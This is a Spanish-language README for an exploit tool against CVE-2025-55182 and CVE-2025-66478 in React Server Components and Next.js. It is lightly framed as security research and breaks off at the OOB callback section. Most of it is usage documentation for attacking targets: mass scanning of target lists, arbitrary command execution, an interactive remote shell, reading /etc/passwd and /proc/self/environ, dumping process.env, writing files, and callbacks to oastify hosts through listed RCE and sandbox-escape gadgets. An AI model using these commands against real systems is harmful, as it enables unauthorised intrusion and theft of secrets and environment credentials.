CVE-2025-55182 - Exploit RCE de React Server Components v2.0
Una herramienta integral de investigación de seguridad para probar las vulnerabilidades CVE-2025-55182 y CVE-2025-66478 en React Server Components (RSC) y Next.js Server Actions.
Resumen de la vulnerabilidad
| Propiedad | Valor |
|---|
| IDs CVE | CVE-2025-55182, CVE-2025-66478 |
| Puntuación CVSS | 10.0 (CRÍTICO) |
| Versiones Afectadas | React < 19.2.0, Next.js < 15.0.5 |
| Tipo de Vulnerabilidad | Ejecución Remota de Código (RCE) |
| Vector de Ataque | Red |
Características
- Escaneo de vulnerabilidades estilo PortSwigger con múltiples cargas útiles de detección
- Múltiples gadgets RCE (execSync, spawnSync, vm.runInThisContext, etc.)
- Pruebas de callback fuera de banda (OOB) para verificación ciega de RCE
- Capacidades de lectura/escritura de archivos
- Ejecución de código JavaScript
- Modo de shell interactiva
- Escaneo masivo con múltiples hilos
- Soporte de proxy (compatible con Burp Suite)
- Formatos de salida JSON/Texto
Instalación
Requisitos
pip install requests
Versión de Python
Inicio rápido
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
Uso
Argumentos de línea de comandos
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
Selección de objetivo
| Argumento | Descripción | Ejemplo |
|---|
-u, --url | URL de destino única | -u https://target.com |
-l, --list | Archivo que contiene URLs | -l targets.txt |
Modos de escaneo
| Argumento | Descripción |
|---|
--detect | Detectar uso de Next.js/RSC |
--check | Verificación rápida de vulnerabilidad (prueba matemática) |
--scan | Escaneo completo de vulnerabilidades (estilo PortSwigger) |
--test-all | Probar todos los gadgets y cargas útiles de detección |
Explotación
| Argumento | Descripción | Ejemplo |
|---|
--cmd | Ejecutar comando de shell | --cmd "id" |
--gadget | Especificar gadget a usar | --gadget execSync |
--read | Leer archivo del objetivo | --read /etc/passwd |
--write | Escribir archivo en el objetivo | --write /tmp/test.txt "content" |
--js | Ejecutar código JavaScript | --js "process.env" |
--shell | Iniciar shell interactiva | --shell |
--oob | Host de callback OOB | --oob xyz.oastify.com |
Opciones de conexión
| Argumento | Descripción | Ejemplo |
|---|
-p, --proxy | Proxy HTTP/HTTPS | -p http://127.0.0.1:8080 |
-c, --cookies | Cadena de cookies | -c "session=abc123" |
-H, --header | Cabecera extra (repetible) | -H "X-Custom: value" |
-t, --threads | Número de hilos para escaneo masivo | -t 20 |
--timeout | Tiempo de espera de solicitud en segundos | --timeout 60 |
Opciones de salida
| Argumento | Descripción |
|---|
-o, --output | Guardar resultados en archivo (.json o .txt) |
-q, --quiet | Suprimir banner |
Ejemplos de escaneo
Objetivo único
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
Escaneo masivo
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
Ejemplos de explotación
Ejecución de comandos
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
Operaciones con archivos
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
Ejecución de JavaScript
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
Shell interactiva
python3 exploit-custom.py -u https://target.com --shell
Comandos del shell:
| Comando | Descripción |
|---|
<comando> | Ejecutar comando de shell |
!read <archivo> | Leer archivo |
!write <archivo> <contenido> | Escribir archivo |
!js <código> | Ejecutar JavaScript |
!gadget <nombre> | Cambiar gadget |
exit | Salir del shell |
Gadgets disponibles
Gadgets RCE
| Nombre | ID del módulo | Descripción |
|---|
execSync | child_process#execSync | Ejecución directa de comandos de shell |
execFileSync | child_process#execFileSync | Ejecutar archivo binario |
spawnSync | child_process#spawnSync | Crear proceso con argumentos |
vm_runInThisContext | vm#runInThisContext | Ejecutar JS en contexto actual |
vm_runInNewContext | vm#runInNewContext | Ejecutar JS con escape del sandbox |
vm_runInThisContext_global | vm#runInThisContext | Ejecutar mediante global.process |
Gadgets de archivos
| Nombre | ID del módulo | Descripción |
|---|
fs_readFileSync | fs#readFileSync | Leer archivos arbitrarios |
fs_writeFileSync | fs#writeFileSync | Escribir archivos arbitrarios |
Gadgets OOB
| Nombre | Descripción |
|---|
vm_fetch | Solicitud HTTP mediante API fetch (Node 18+) |
vm_http | Solicitud HTTP mediante módulo http |
Cargas útiles de detección (CVE-2025-66478)
El modo --scan utiliza estas cargas útiles de detección estilo PortSwigger:
| Carga útil | Descripción |
|---|
property_reference | Referencia de propiedad delimitada por dos puntos ["$1:a:a"] |
property_reference_v2 | Referencia alternativa ["$1:b:b"] |
property_reference_constructor | Acceso al constructor mediante referencia de propiedad |
property_reference_proto | Acceso a la cadena de prototipos mediante referencia de propiedad |
action_ref_vm | ACTION_REF con vm#runInThisContext |
action_ref_execSync | ACTION_REF con child_process#execSync |
Métodos de callback OOB
La herramienta soporta múltiples métodos de callback OOB: